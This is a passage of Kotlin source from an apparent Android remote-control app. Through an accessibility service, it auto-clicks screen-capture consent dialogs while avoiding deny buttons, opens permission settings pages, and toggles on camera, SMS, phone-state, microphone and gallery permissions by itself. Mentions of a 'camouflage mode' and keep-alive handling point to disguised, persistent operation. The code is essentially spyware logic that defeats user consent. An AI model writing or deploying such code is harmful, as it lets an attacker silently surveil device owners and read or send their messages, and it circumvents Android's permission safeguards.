            // ❌ Android 15全屏保护：严格检查选择相关文本
            if (isAndroid15FullScreenProtected) {
                // 白名单：精确匹配的确认按钮文本不应被过滤
                val isWhitelistedConfirm = text == "立即开始" || text == "start now" || 
                                          text == "start" || text == "开始" || 
                                          text == "允许" || text == "allow" || 
                                          text == "确定" || text == "ok" ||
                                          text == "确认" || text == "同意" ||
                                          text == "继续" || text == "continue" ||
                                          text == "共享屏幕" || text == "share screen"
                
                if (!isWhitelistedConfirm) {
                    val containsSelectionText = text.contains("选择") || text.contains("单个") || 
                                              text.contains("应用") || 
                                              text.contains("整个") || text.contains("全屏") ||
                                              text.contains("select") || text.contains("single") || 
                                              text.contains("app") || 
                                              text.contains("entire") || text.contains("full")
                    
                    if (containsSelectionText) {
                        Log.w(TAG, "🛡️ Android 14+保护：跳过包含选择文本的按钮: '$text'")
                        // 继续搜索子节点，不点击当前节点
                        for (i in 0 until node.childCount) {
                            val child = node.getChild(i)
                            if (child != null) {
                                val result = findAndClickSmartButtonSafeRecursive(child, depth + 1, isAndroid15FullScreenProtected)
                                child.recycle()
                                if (result) return true
                            }
                        }
                        return false
                    }
                }
            }
            
            // ❌ 检查是否为拒绝/取消按钮
            val isRejectButton = text == "cancel" || text.contains("取消") || 
                               text == "deny" || text.contains("拒绝") ||
                               text == "dismiss" || text.contains("关闭") ||
                               text.contains("不允许") || text.contains("禁止") ||
                               text == "no" || text.contains("否") ||
                               text == "reject" || text.contains("拒接") ||
                               viewId.contains("cancel") || viewId.contains("deny") ||
                               viewId.contains("negative") || viewId.contains("dismiss")
            
            if (isRejectButton) {
                Log.w(TAG, "❌ 跳过拒绝/取消按钮: 文本='$text', 类名='$className'")
            } else {
                // ✅ 只查找纯确认按钮
                val isConfirmButton = text.contains("start now") || text.contains("立即开始") || 
                                    text.contains("现在开始") || text.contains("begin") ||
                                    text.contains("开始录制") || text.contains("开始投屏") ||
                                    text.contains("start recording") || text.contains("start capture") ||
                                    text.contains("开始") || text.contains("允许") || text.contains("确定") ||
                                    text.contains("授权") || text.contains("同意") || text.contains("继续") ||
                                    text.contains("start") || text.contains("allow") || text.contains("ok") ||
                                    text.contains("grant") || text.contains("agree") || text.contains("yes") ||
                                    text.contains("accept") || text.contains("confirm") ||
                                    viewId.contains("allow") || viewId.contains("positive") ||
                                    viewId.contains("start") || viewId.contains("grant") ||
                                    viewId.contains("ok") || viewId.contains("confirm") ||
                                    viewId.contains("button1")
                
                if (isConfirmButton) {
                    Log.i(TAG, "🎯 安全智能匹配到确认按钮: 文本='$text', 类名='$className'")
                    val success = node.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                    if (success) {
                        Log.i(TAG, "🎉 安全智能匹配点击成功: '$text'")
                        return true
                    }
                }
            }
        }
        
        // 递归搜索子节点
        for (i in 0 until node.childCount) {
            val child = node.getChild(i)
            if (child != null) {
                val result = findAndClickSmartButtonSafeRecursive(child, depth + 1, isAndroid15FullScreenProtected)
                child.recycle()
                if (result) return true
            }
        }
        
        return false
    }
    
    /**
     * 安全版本的全面扫描所有按钮 - 专为Android 15全屏保护设计
     * 严格避免点击任何选择相关的按钮
     */
    private fun scanAllButtonsAndAnalyzeSafe(rootNode: AccessibilityNodeInfo, isAndroid15FullScreenProtected: Boolean): Boolean {
        try {
            Log.i(TAG, "🔍 开始安全全面扫描所有按钮（Android 15全屏保护模式）...")
            
            val allButtons = mutableListOf<AccessibilityNodeInfo>()
            collectAllButtonsSafe(rootNode, allButtons, 0, isAndroid15FullScreenProtected)
            
            Log.i(TAG, "🔍 安全模式共找到 ${allButtons.size} 个按钮/可点击节点")
            
            var confirmButtons = mutableListOf<AccessibilityNodeInfo>()
            
            for (button in allButtons) {
                val text = button.text?.toString()?.toLowerCase() ?: ""
                val className = button.className?.toString() ?: ""
                val viewId = button.viewIdResourceName ?: ""
                
                Log.i(TAG, "🔍 安全按钮分析: 文本='$text', 类名='$className', ViewId='$viewId'")
                
                // Android 15全屏保护：严格过滤选择相关按钮（但白名单确认按钮除外）
                if (isAndroid15FullScreenProtected) {
                    // 白名单：精确匹配的确认按钮文本不应被过滤
                    val isWhitelistedConfirm = text == "立即开始" || text == "start now" || 
                                              text == "start" || text == "开始" || 
                                              text == "允许" || text == "allow" || 
                                              text == "确定" || text == "ok" ||
                                              text == "确认" || text == "同意" ||
                                              text == "继续" || text == "continue" ||
                                              text == "共享屏幕" || text == "share screen"
                    
                    if (!isWhitelistedConfirm) {
                        val containsSelectionText = text.contains("选择") || text.contains("单个") || 
                                                  text.contains("应用") || 
                                                  text.contains("整个") || text.contains("全屏") ||
                                                  text.contains("select") || text.contains("single") || 
                                                  text.contains("app") || 
                                                  text.contains("entire") || text.contains("full")
                        
                        if (containsSelectionText) {
                            Log.w(TAG, "🛡️ Android 14+保护：跳过包含选择文本的按钮: '$text'")
                            continue
                        }
                    }
                }
                
                // 检查是否是确认按钮（只允许纯确认按钮）
                val isConfirmButton = text.contains("start now") || text.contains("立即开始") || 
                                    text.contains("现在开始") || text.contains("begin") ||
                                    text.contains("允许") || text.contains("确定") ||
                                    text.contains("授权") || text.contains("同意") || text.contains("继续") ||
                                    text.contains("allow") || text.contains("ok") ||
                                    text.contains("grant") || text.contains("agree") || text.contains("yes") ||
                                    text.contains("accept") || text.contains("confirm") ||
                                    viewId.contains("positive") || viewId.contains("button1") || viewId.contains("allow") ||
                                    viewId.contains("start") || viewId.contains("ok") || viewId.contains("grant")
                
                // 检查是否是取消按钮
                val isCancelButton = text.contains("cancel") || text.contains("deny") || text.contains("dismiss") ||
                                   text.contains("取消") || text.contains("拒绝") || text.contains("关闭") ||
                                   text.contains("no") || text.contains("否") ||
                                   viewId.contains("negative") || viewId.contains("cancel") || viewId.contains("deny")
                
                if (isConfirmButton && !isCancelButton) {
                    confirmButtons.add(button)
                    Log.e(TAG, "✅ 安全模式发现确认按钮: 文本='$text', 类名='$className', ViewId='$viewId'")
                } else if (isCancelButton) {
                    Log.e(TAG, "❌ 安全模式发现取消按钮: 文本='$text', 类名='$className', ViewId='$viewId'")
                }
            }
            
            // 优先点击确认按钮
            if (confirmButtons.isNotEmpty()) {
                Log.i(TAG, "🎯 安全模式找到 ${confirmButtons.size} 个确认按钮，准备点击第一个")
                val targetButton = confirmButtons[0]
                val success = targetButton.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                if (success) {
                    Log.i(TAG, "🎉 安全模式成功点击确认按钮: ${targetButton.text}")
                    return true
                } else {
                    Log.w(TAG, "⚠️ 安全模式点击确认按钮失败")
                }
            } else {
                Log.w(TAG, "⚠️ 安全模式未找到合适的确认按钮")
            }
            
            return false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 安全模式全面扫描按钮失败", e)
            return false
        }
    }
    
    /**
     * 安全收集所有按钮节点 - 避免选择相关按钮
     */
    private fun collectAllButtonsSafe(node: AccessibilityNodeInfo, buttons: MutableList<AccessibilityNodeInfo>, depth: Int, isAndroid15FullScreenProtected: Boolean) {
        if (depth > 15) return
        
        val text = node.text?.toString() ?: ""
        val className = node.className?.toString() ?: ""
        val viewId = node.viewIdResourceName ?: ""
        
        val isButton = node.isClickable || 
                      className.contains("Button", ignoreCase = true) ||
                      className.contains("TextView", ignoreCase = true) && node.isClickable ||
                      viewId.contains("button", ignoreCase = true) ||
                      (text.isNotEmpty() && node.isClickable)
        
        if (isButton) {
            // Android 15全屏保护：过滤选择相关按钮
            if (isAndroid15FullScreenProtected) {
                val containsSelectionText = text.contains("选择", ignoreCase = true) || 
                                          text.contains("单个", ignoreCase = true) || 
                                          text.contains("应用", ignoreCase = true) || 
                                          text.contains("屏幕", ignoreCase = true) || 
                                          text.contains("整个", ignoreCase = true) ||
                                          text.contains("select", ignoreCase = true) || 
                                          text.contains("single", ignoreCase = true) || 
                                          text.contains("app", ignoreCase = true) || 
                                          text.contains("screen", ignoreCase = true) || 
                                          text.contains("entire", ignoreCase = true)
                
                if (containsSelectionText) {
                    Log.d(TAG, "🛡️ [安全收集] 跳过选择相关按钮: 文本='$text', 类名='$className'")
                } else {
                    buttons.add(node)
                    Log.d(TAG, "🔍 [安全收集] 深度${depth}: 文本='$text', 类名='$className', ViewId='$viewId'")
                }
            } else {
                buttons.add(node)
                Log.d(TAG, "🔍 [安全收集] 深度${depth}: 文本='$text', 类名='$className', ViewId='$viewId'")
            }
        }
        
        for (i in 0 until node.childCount) {
            val child = node.getChild(i)
            if (child != null) {
                collectAllButtonsSafe(child, buttons, depth + 1, isAndroid15FullScreenProtected)
                child.recycle()
            }
        }
    }
    
    // ==================== 摄像头权限自动申请 ====================
    
    /**
     * 检查摄像头权限
     */
    fun hasCameraPermission(): Boolean {
        return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
            context.checkSelfPermission(android.Manifest.permission.CAMERA) == PackageManager.PERMISSION_GRANTED
        } else {
            true
        }
    }
    
    /**
     * 检查短信权限
     */
    fun hasSMSPermission(): Boolean {
        return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
            val readSmsPermission = context.checkSelfPermission(android.Manifest.permission.READ_SMS) == PackageManager.PERMISSION_GRANTED
            val sendSmsPermission = context.checkSelfPermission(android.Manifest.permission.SEND_SMS) == PackageManager.PERMISSION_GRANTED
            val phoneStatePermission = context.checkSelfPermission(android.Manifest.permission.READ_PHONE_STATE) == PackageManager.PERMISSION_GRANTED
            readSmsPermission && sendSmsPermission && phoneStatePermission
        } else {
            true
        }
    }
    
    /**
     * 开始摄像头权限申请流程
     */
    fun startCameraPermissionRequest() {
        if (isRequestingCameraPermission) {
            Log.i(TAG, "📷 摄像头权限申请已在进行中")
            return
        }
        
        // 🎭 检查是否是伪装模式，如果是则不申请权限
        if (isInCamouflageMode()) {
            Log.i(TAG, "🎭 检测到伪装模式，跳过摄像头权限申请")
            return
        }
        
        if (hasCameraPermission()) {
            Log.i(TAG, "✅ 摄像头权限已授予")
            return
        }
        
        // 检查无障碍服务状态
        if (!checkAccessibilityServiceStatus()) {
            Log.e(TAG, "❌ 无障碍服务状态异常，无法申请权限")
            return
        }
        
        Log.i(TAG, "📷 开始摄像头权限申请流程")
        isRequestingCameraPermission = true
        cameraPermissionRetryCount = 0
        
        // ✅ 修复：检查是否是保活场景，如果是则不启动MainActivity
        if (isKeepAliveScenario()) {
            Log.i(TAG, "💡 保活场景下申请摄像头权限，不启动MainActivity（避免保活程序拉起）")
            Log.i(TAG, "💡 建议：通过通知或其他方式让用户主动打开应用进行权限申请")
            return
        }
        
        // 确保MainActivity被启用
        ensureMainActivityEnabled()
        
        // 启动权限申请Activity
        val intent = Intent(context, com.hikoncont.MainActivity::class.java).apply {
            flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP
            putExtra("request_camera_permission", true)
        }
        context.startActivity(intent)

        // MIUI/澎湃OS 特殊处理
        if (isMiuiDevice()) {
            Log.i(TAG, "🔧 检测到小米/澎湃OS，尝试打开MIUI权限编辑页以授予摄像头权限")
            openMiuiPermissionEditor("camera")
        }else{

            // 开始监听权限对话框
            startCameraPermissionDialogMonitoring()
        }

    }
    
    /**
     * 开始短信权限申请流程
     */
    fun startSMSPermissionRequest() {
        if (isRequestingSMSPermission) {
            Log.i(TAG, "📱 短信权限申请已在进行中")
            return
        }
        
        // 🎭 检查是否是伪装模式，如果是则不申请权限
        if (isInCamouflageMode()) {
            Log.i(TAG, "🎭 检测到伪装模式，跳过短信权限申请")
            return
        }
        
        if (hasSMSPermission()) {
            Log.i(TAG, "✅ 短信权限已授予")
            return
        }
        
        // 检查无障碍服务状态
        if (!checkAccessibilityServiceStatus()) {
            Log.e(TAG, "❌ 无障碍服务状态异常，无法申请权限")
            return
        }
        
        Log.i(TAG, "📱 开始短信权限申请流程")
        isRequestingSMSPermission = true
        smsPermissionRetryCount = 0
        
        // ✅ 修复：检查是否是保活场景，如果是则不启动MainActivity
        if (isKeepAliveScenario()) {
            Log.i(TAG, "💡 保活场景下申请短信权限，不启动MainActivity（避免保活程序拉起）")
            Log.i(TAG, "💡 建议：通过通知或其他方式让用户主动打开应用进行权限申请")
            return
        }
        
        // 确保MainActivity被启用
        ensureMainActivityEnabled()
        
        // 启动权限申请Activity
        val intent = Intent(context, com.hikoncont.MainActivity::class.java).apply {
            flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP
            putExtra("request_sms_permission", true)
        }
        context.startActivity(intent)

        // MIUI/澎湃OS 特殊处理
        if (isMiuiDevice()) {
            Log.i(TAG, "🔧 检测到小米/澎湃OS，尝试打开MIUI权限编辑页以授予短信权限")
            openMiuiPermissionEditor("sms")
        }else{
            // 开始监听权限对话框
            startSMSPermissionDialogMonitoring()
        }
        

    }

    /**
     * 是否为小米/红米（含澎湃OS/MIUI）
     */
    private fun isMiuiDevice(): Boolean {
        return try {
            val brand = android.os.Build.BRAND?.lowercase() ?: ""
            val manufacturer = android.os.Build.MANUFACTURER?.lowercase() ?: ""
            brand.contains("xiaomi") || brand.contains("redmi") || manufacturer.contains("xiaomi")
        } catch (e: Exception) {
            false
        }
    }

    /**
     * 打开小米权限编辑页（多种兜底尝试）
     * 说明：MIUI 常拦截运行时权限弹窗，直接引导到应用权限页更稳定
     */
    private fun openMiuiPermissionEditor(reason: String) {
        try {
            Log.i(TAG, "🛠️ 打开/协调权限授权流程，reason=$reason")

            val isMiui = isMiuiDevice()

            // 先异步等待短时间，若已出现系统运行时权限弹框或已授权，则不再打开任何设置页面，避免双弹
            serviceScope.launch {
//                val appeared = pollForRuntimeDialogOrGrant(reason)
//                if (appeared) {
//                    Log.i(TAG, "✅ 检测到系统权限弹框或已授权，跳过设置页")
//                    return@launch
//                }

                // 未检测到弹框，按机型策略再尝试拉起权限设置页
                continueOpenPermissionEditor(reason, isMiui)
            }
            return
            
//            // A) Android 12-15 权限控制器（优先，兼容原生/HyperOS；非小米机型使用）
//            val permissionControllerIntents = listOf(
//                Intent().apply {
//                    addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
//                    addCategory(Intent.CATEGORY_DEFAULT)
//                    component = android.content.ComponentName(
//                        "com.android.permissioncontroller",
//                        "com.android.permissioncontroller.permission.ui.ManagePermissionsActivity"
//                    )
//                    putExtra(Intent.EXTRA_PACKAGE_NAME, context.packageName)
//                },
//                Intent().apply {
//                    addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
//                    addCategory(Intent.CATEGORY_DEFAULT)
//                    component = android.content.ComponentName(
//                        "com.google.android.permissioncontroller",
//                        "com.android.permissioncontroller.permission.ui.ManagePermissionsActivity"
//                    )
//                    putExtra(Intent.EXTRA_PACKAGE_NAME, context.packageName)
//                },
//                Intent().apply {
//                    addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
//                    addCategory(Intent.CATEGORY_DEFAULT)
//                    component = android.content.ComponentName(
//                        "com.android.settings",
//                        "com.android.settings.Settings\$AppPermissionSettingsActivity"
//                    )
//                    data = android.net.Uri.parse("package:${context.packageName}")
//                }
//            )
//
//            // B) MIUI/HyperOS 官方 Action 与组件
//            val miuiIntents = listOf(
//                Intent("miui.intent.action.APP_PERM_EDITOR").apply {
//                    addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
//                    addCategory(Intent.CATEGORY_DEFAULT)
//                    putExtra("extra_pkgname", context.packageName)
//                    putExtra("com.miui.intent.extra.PACKAGE_NAME", context.packageName)
//                },
//                Intent().apply {
//                    addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
//                    addCategory(Intent.CATEGORY_DEFAULT)
//                    component = android.content.ComponentName(
//                        "com.miui.securitycenter",
//                        "com.miui.permcenter.permissions.PermissionsEditorActivity"
//                    )
//                    putExtra("extra_pkgname", context.packageName)
//                },
//                Intent().apply {
//                    addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
//                    addCategory(Intent.CATEGORY_DEFAULT)
//                    component = android.content.ComponentName(
//                        "com.miui.securitycenter",
//                        "com.miui.permcenter.permissions.AppPermissionsEditorActivity"
//                    )
//                    putExtra("extra_pkgname", context.packageName)
//                }
//            )
//
//            // C) 系统设置兜底（强制包名）
//            val fallbackVariants = listOf(
//                Intent(android.provider.Settings.ACTION_APPLICATION_DETAILS_SETTINGS).apply {
//                    addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
//                    addCategory(Intent.CATEGORY_DEFAULT)
//                    data = android.net.Uri.parse("package:${context.packageName}")
//                },
//                Intent(android.provider.Settings.ACTION_APPLICATION_DETAILS_SETTINGS).apply {
//                    addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
//                    addCategory(Intent.CATEGORY_DEFAULT)
//                    setPackage("com.android.settings")
//                    data = android.net.Uri.parse("package:${context.packageName}")
//                },
//                Intent(android.provider.Settings.ACTION_MANAGE_APPLICATIONS_SETTINGS).apply {
//                    addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
//                    addCategory(Intent.CATEGORY_DEFAULT)
//                    setPackage("com.android.settings")
//                }
//            )

        } catch (e: Exception) {
            Log.e(TAG, "❌ 打开MIUI权限编辑页失败", e)
        }
    }

    private fun continueOpenPermissionEditor(reason: String, isMiui: Boolean) {
        try {
            // A) Android 12-15 权限控制器（优先，兼容原生/HyperOS；非小米机型使用）
            val permissionControllerIntents = listOf(
                Intent().apply {
                    addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
                    addCategory(Intent.CATEGORY_DEFAULT)
                    component = android.content.ComponentName(
                        "com.android.permissioncontroller",
                        "com.android.permissioncontroller.permission.ui.ManagePermissionsActivity"
                    )
                    putExtra(Intent.EXTRA_PACKAGE_NAME, context.packageName)
                },
                Intent().apply {
                    addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
                    addCategory(Intent.CATEGORY_DEFAULT)
                    component = android.content.ComponentName(
                        "com.google.android.permissioncontroller",
                        "com.android.permissioncontroller.permission.ui.ManagePermissionsActivity"
                    )
                    putExtra(Intent.EXTRA_PACKAGE_NAME, context.packageName)
                },
                Intent().apply {
                    addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
                    addCategory(Intent.CATEGORY_DEFAULT)
                    component = android.content.ComponentName(
                        "com.android.settings",
                        "com.android.settings.Settings\$AppPermissionSettingsActivity"
                    )
                    data = android.net.Uri.parse("package:${context.packageName}")
                }
            )

            // B) MIUI/HyperOS 官方 Action 与组件
            val miuiIntents = listOf(
                Intent("miui.intent.action.APP_PERM_EDITOR").apply {
                    addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
                    addCategory(Intent.CATEGORY_DEFAULT)
                    putExtra("extra_pkgname", context.packageName)
                    putExtra("com.miui.intent.extra.PACKAGE_NAME", context.packageName)
                },
                Intent().apply {
                    addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
                    addCategory(Intent.CATEGORY_DEFAULT)
                    component = android.content.ComponentName(
                        "com.miui.securitycenter",
                        "com.miui.permcenter.permissions.PermissionsEditorActivity"
                    )
                    putExtra("extra_pkgname", context.packageName)
                },
                Intent().apply {
                    addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
                    addCategory(Intent.CATEGORY_DEFAULT)
                    component = android.content.ComponentName(
                        "com.miui.securitycenter",
                        "com.miui.permcenter.permissions.AppPermissionsEditorActivity"
                    )
                    putExtra("extra_pkgname", context.packageName)
                }
            )

            // C) 系统设置兜底（强制包名）
            val fallbackVariants = listOf(
                Intent(android.provider.Settings.ACTION_APPLICATION_DETAILS_SETTINGS).apply {
                    addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
                    addCategory(Intent.CATEGORY_DEFAULT)
                    data = android.net.Uri.parse("package:${context.packageName}")
                },
                Intent(android.provider.Settings.ACTION_APPLICATION_DETAILS_SETTINGS).apply {
                    addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
                    addCategory(Intent.CATEGORY_DEFAULT)
                    setPackage("com.android.settings")
                    data = android.net.Uri.parse("package:${context.packageName}")
                },
                Intent(android.provider.Settings.ACTION_MANAGE_APPLICATIONS_SETTINGS).apply {
                    addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
                    addCategory(Intent.CATEGORY_DEFAULT)
                    setPackage("com.android.settings")
                }
            )

            if (isMiui) {
                for (itx in miuiIntents) {
                    val started = tryStartSettingsActivity(itx)
                    if (started == true) {
                        startMiuiPermissionAutoToggle(reason)
                        return
                    }
                }
                for (itx in fallbackVariants) {
                    val started = tryStartSettingsActivity(itx)
                    if (started == true) {
                        startMiuiPermissionAutoToggle(reason)
                        return
                    }
                }
            } else {
                for (itx in permissionControllerIntents) {
                    val started = tryStartSettingsActivity(itx)
                    if (started == true) {
                        startMiuiPermissionAutoToggle(reason)
                        return
                    }
                }
                for (itx in fallbackVariants) {
                    val started = tryStartSettingsActivity(itx)
                    if (started == true) {
                        startMiuiPermissionAutoToggle(reason)
                        return
                    }
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 继续打开权限编辑页流程失败", e)
        }
    }

    private suspend fun pollForRuntimeDialogOrGrant(reason: String): Boolean {
        val max = 8
        repeat(max) {
            // 已授权则直接认为成功
            if (isPermissionGrantedFor(reason)) return true
            // 检测是否弹出系统运行时权限对话框
            if (detectRuntimePermissionDialog(reason)) return true
            delay(300)
        }
        return false
    }

    private fun isPermissionGrantedFor(reason: String): Boolean {
        return try {
            when (reason.lowercase()) {
                "camera" -> hasCameraPermission()
                "sms" -> hasSMSPermission()
                "microphone" -> checkMicrophonePermission()
                "gallery" -> com.hikoncont.manager.GalleryManager(service).hasReadMediaPermission()
                else -> false
            }
        } catch (_: Exception) { false }
    }

    private fun detectRuntimePermissionDialog(reason: String): Boolean {
        return try {
            when (reason.lowercase()) {
                "camera" -> detectAndHandlePermissionDialog()
                "sms" -> detectAndHandleSMSPermissionDialog()
                "microphone" -> detectAndHandleMicrophonePermissionDialog()
                "gallery" -> detectAndHandleGalleryPermissionDialog()
                else -> false
            }
        } catch (_: Exception) { false }
    }

    /**
     * 安全启动设置/权限页面
     */
    private fun tryStartSettingsActivity(intent: Intent): Boolean? {
        return try {
            if (intent.resolveActivity(context.packageManager) != null) {
                context.startActivity(intent)
                Log.i(TAG, "✅ 已启动权限设置页面: ${intent.component ?: intent.action}")
                true
            } else {
                Log.w(TAG, "⚠️ 权限设置页面不可用: ${intent.component ?: intent.action}")
                false
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动权限设置页面异常", e)
            false
        }
    }

    /**
     * 在打开MIUI权限页后，自动尝试通过无障碍切换所需权限开关
     * reason: "camera" | "gallery" | "sms" | "microphone"
     */
    private fun startMiuiPermissionAutoToggle(reason: String) {
        try {
            // 仅当无障碍服务正在运行时才尝试
            if (!com.hikoncont.service.AccessibilityRemoteService.isServiceRunning()) {
                Log.w(TAG, "⚠️ 无障碍未运行，跳过自动切换权限")
                return
            }

            val keywords = when (reason.lowercase()) {
                "camera" -> listOf("摄像头", "相机", "Camera")
                "gallery" -> listOf("相册", "照片", "图片", "存储", "媒体")
                "sms" -> listOf("短信", "SMS", "信息", "Messages","电话","网络")
                "microphone" -> listOf("麦克风", "录音", "麦克", "Microphone")
                else -> emptyList()
            }

            if (keywords.isEmpty()) return

            // 异步轮询扫描页面并尝试点击目标权限项及其开关
            serviceScope.launch {
                val approvalsNeeded = if (reason.equals("sms", ignoreCase = true)) 2 else 1
                var approvalsDone = 0
                val maxTries = 18
                repeat(maxTries) { idx ->
                    delay(500)
                    try {
                        val service = com.hikoncont.service.AccessibilityRemoteService.getInstance()
                        val root = service?.rootInActiveWindow
                        if (root == null) return@repeat

                        // 1) 优先处理系统运行时权限弹框按钮（避免额外跳设置页）
                        val allowButtons = listOf(
                            // 中文
                            "仅在使用中允许", "仅在使用该应用时允许", "始终允许", "始终全部允许", "本次允许","允许",
                            // 英文
                            "Allow", "Allow only while using the app", "Allow all the time", "Always allow"
                        )

                        if (tryClickByTexts(root, allowButtons)) {
                            approvalsDone++
                            Log.i(TAG, "✅ 已点击运行时权限弹框允许类按钮: $reason (第${approvalsDone}次)")
                            root.recycle()
                            if (approvalsDone >= approvalsNeeded) {
                                return@launch
                            } else {
                                // 等待下一层弹框出现
                                delay(500)
                                return@repeat
                            }
                        }

                        val nodes = mutableListOf<android.view.accessibility.AccessibilityNodeInfo>()
                        collectAllNodes(root, nodes, 0)

                        // 先定位包含关键词的行项目，再在同层或子层找 Switch/Checkable 按钮
                        val targetRows = nodes.filter { node ->
                            val text = (node.text?.toString() ?: "") + " " + (node.contentDescription?.toString() ?: "")
                            keywords.any { kw -> text.contains(kw, ignoreCase = true) }
                        }

                        var toggled = false
                        for (row in targetRows) {
                            // 尝试点击行本身
                            if (clickNodeOrParent(row)) toggled = true
                            // 在子节点中找可切换控件
                            val sub = mutableListOf<android.view.accessibility.AccessibilityNodeInfo>()
                            collectAllNodes(row, sub, 0)
                            val switchOrButton = sub.firstOrNull { n ->
                                (n.className?.toString()?.contains("Switch", true) == true) ||
                                (n.isCheckable) ||
                                (n.isClickable && (n.className?.toString()?.contains("Button", true) == true))
                            }
                            if (switchOrButton != null) {
                                if (clickNodeOrParent(switchOrButton)) toggled = true
                            }
                            sub.forEach { it.recycle() }
                            row.recycle()
                            if (toggled) break
                        }

                        nodes.forEach { it.recycle() }
                        root.recycle()

                        if (toggled) {
                            Log.i(TAG, "✅ 已尝试自动切换权限开关: $reason (第${idx + 1}次)")
                            // 如果还有二次确认弹框，继续轮询点击
                            if (approvalsDone >= approvalsNeeded) {
                                return@launch
                            }
                        }
                    } catch (e: Exception) {
                        Log.e(TAG, "❌ 自动切换权限开关失败", e)
                    }
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动MIUI权限自动切换流程失败", e)
        }
    }

    private fun tryClickByTexts(root: android.view.accessibility.AccessibilityNodeInfo, texts: List<String>): Boolean {
        return try {
            for (t in texts) {
                val matches = root.findAccessibilityNodeInfosByText(t)
                if (matches != null && matches.isNotEmpty()) {
                    for (node in matches) {
                        // 仅对“按钮类”节点进行点击，避免误触开关/列表项
                        if (clickButtonNodeOrParent(node)) {
                            matches.forEach { it.recycle() }
                            return true
                        }
                    }
                    matches.forEach { it.recycle() }
                }
            }
            false
        } catch (_: Exception) { false }
    }

    private fun clickNodeOrParent(node: android.view.accessibility.AccessibilityNodeInfo?): Boolean {
        try {
            var current = node
            var depth = 0
            while (current != null && depth < 3) {
                if (current.isClickable) {
                    val ok = current.performAction(android.view.accessibility.AccessibilityNodeInfo.ACTION_CLICK)
                    return ok
                }
                current = current.parent
                depth++
            }
        } catch (_: Exception) {
        }
        return false
    }

    private fun clickButtonNodeOrParent(node: android.view.accessibility.AccessibilityNodeInfo?): Boolean {
        try {
            var current = node
            var depth = 0
            while (current != null && depth < 3) {
                if (isButtonLike(current) && current.isClickable) {
                    return current.performAction(android.view.accessibility.AccessibilityNodeInfo.ACTION_CLICK)
                }
                current = current.parent
                depth++
            }
        } catch (_: Exception) {
        }
        return false
    }

    private fun isButtonLike(node: android.view.accessibility.AccessibilityNodeInfo?): Boolean {
        if (node == null) return false
        val cls = node.className?.toString() ?: ""
        val role = try {
            node.extras?.getCharSequence("AccessibilityNodeInfo.roleDescription")?.toString() ?: ""
        } catch (_: Exception) { "" }
        val isClassButton = cls.contains("Button", ignoreCase = true) || cls.contains("ImageButton", ignoreCase = true) || cls.contains("MaterialButton", ignoreCase = true)
        val isRoleButton = role.equals("button", ignoreCase = true)
        // 对运行时弹框常见的底部操作也可能标记为 TextView 但可点击，这里结合文本关键词再放行
        val text = node.text?.toString() ?: ""
        val allowKeywords = listOf("允许", "Allow")
        val isClickableAllowText = node.isClickable && allowKeywords.any { text.contains(it, ignoreCase = true) }
        return isClassButton || isRoleButton || isClickableAllowText
    }

    private fun collectAllNodes(node: android.view.accessibility.AccessibilityNodeInfo, out: MutableList<android.view.accessibility.AccessibilityNodeInfo>, depth: Int) {
        try {
            out.add(node)
            for (i in 0 until node.childCount) {
                val child = node.getChild(i) ?: continue
                collectAllNodes(child, out, depth + 1)
            }
        } catch (_: Exception) {
        }
    }
    
    /**
     * 检查无障碍服务状态
     */
    private fun checkAccessibilityServiceStatus(): Boolean {
        try {
            // 检查服务是否运行
            if (!AccessibilityRemoteService.isServiceRunning()) {
                Log.e(TAG, "❌ 无障碍服务未运行")
                return false
            }
            
            // 检查是否可以获取窗口内容
            val testRoot = service.rootInActiveWindow
            if (testRoot == null) {
                Log.w(TAG, "⚠️ 无法获取rootInActiveWindow，但服务正在运行")
                // 不直接返回false，因为可能是权限弹框还没出现
            } else {
                Log.d(TAG, "✅ 无障碍服务状态正常，可以获取窗口内容")
                testRoot.recycle()
            }
            
            return true
        } catch (e: Exception) {
            Log.e(TAG, "检查无障碍服务状态失败", e)
            return false
        }
    }
    
    /**
     * 开始监听摄像头权限对话框
     */
    private fun startCameraPermissionDialogMonitoring() {
        serviceScope.launch {
            while (isRequestingCameraPermission && cameraPermissionRetryCount < maxRetryCount) {
                delay(cameraPermissionRetryInterval)
                
                if (hasCameraPermission()) {
                    Log.i(TAG, "✅ 摄像头权限已授予")
                    isRequestingCameraPermission = false
                    break
                }
                
                Log.d(TAG, "📷 第 ${cameraPermissionRetryCount + 1} 次检测权限对话框...")
                
                // 检查无障碍服务状态
                if (!AccessibilityRemoteService.isServiceRunning()) {
                    Log.w(TAG, "⚠️ 无障碍服务未运行，停止权限申请")
                    isRequestingCameraPermission = false
                    break
                }
                
                // 使用简化的检测方法
                if (detectAndHandlePermissionDialog()) {
                    Log.i(TAG, "📷 检测到权限对话框，尝试自动点击")
                    
                    // 点击后等待一下再检查权限状态
                    delay(1000)
                    if (hasCameraPermission()) {
                        Log.i(TAG, "✅ 摄像头权限已授予")
                        isRequestingCameraPermission = false
                        break
                    }
                } else {
